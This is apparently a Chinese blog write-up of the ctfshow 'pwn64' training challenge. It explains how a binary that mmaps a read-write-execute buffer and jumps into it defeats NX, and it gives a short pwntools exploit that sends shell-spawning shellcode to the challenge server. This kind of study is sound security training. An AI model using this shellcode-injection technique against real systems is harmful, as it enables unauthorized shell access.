yangyunhui

功不唐捐,玉汝于成

ctfshow pwn入门 pwn64

pwn64

ctf.show pwn64

目录

题目

预计时间

1h

题目分析及截图

我们先checksec一下看看程序的保护机制

可以看到NX保护机制是开启的,那么是不是就意味着shellcode用不了??我们往下看看

我们用ida查看程序的main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // [esp+8h] [ebp-10h]

buf = mmap(0, 0x400u, 7, 34, 0, 0);
alarm(0xAu);
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 2, 0);
puts("Some different!");
if ( read(0, buf, 0x400u) < 0 )
{
puts("Illegal entry!");
exit(1);
}
((void (*)(void))buf)();
return 0;
}
  1. buf = mmap(0, 0x400u, 7, 34, 0, 0);
    • mmap用于在进程的虚拟地址空间中创建一段内存映射
    • 第一个参数0:表示addr=0,请求内核“直接给我一个地址”
    • 第二个参数0x400u:表示length=0x400u,请求映射的大小是0x400u
    • 第三个参数7:这是权限位。port_write = 1,port_read=2,port_e=4,这里的7=1+2+4,表示有可读可写可执行的权限
  2. read(0, buf, 0x400u) < 0
    • 第一个参数0的意思是输入
      • 0:输入
      • 1:输出
      • 2:标准错误
    • <0是什么意思?
      • read返回值<0时,意味着读取失败
      • read正常返回时,值是实际读取的字符

**综上:**虽然我checksec ./pwn时开启了NX权限,但是在buf这一段缓冲区,因为mmap的原因,这一段是具有可读可写可执行权限的。

NX enabled ≠ 全程禁止执行新内存:NX 是默认策略,程序可通过 mmap/mprotect 申请可执行页(如果内核安全策略允许)。

到这里不难理解为什么题目描述是有时候开启某种保护并不代表这条路不通,就是上面的原因。我们依旧使用shellcode

exp如下:

1
2
3
4
5
6
7
from pwn import *

p = remote("pwn.challenge.ctf.show", 28112)
shellcode = asm(shellcraft.sh())
payload = shellcode
p.sendline(payload)
p.interactive()

至此,这道题就结束了

但是在我写的时候,我在疑惑它的偏移(我昏头了),因为这道题是不涉及栈溢出的,我们根本不需要去计算偏移去覆盖返回地址。但是本道题的目的是在buf中写入shellcode并调用它

希望可以帮到你,加油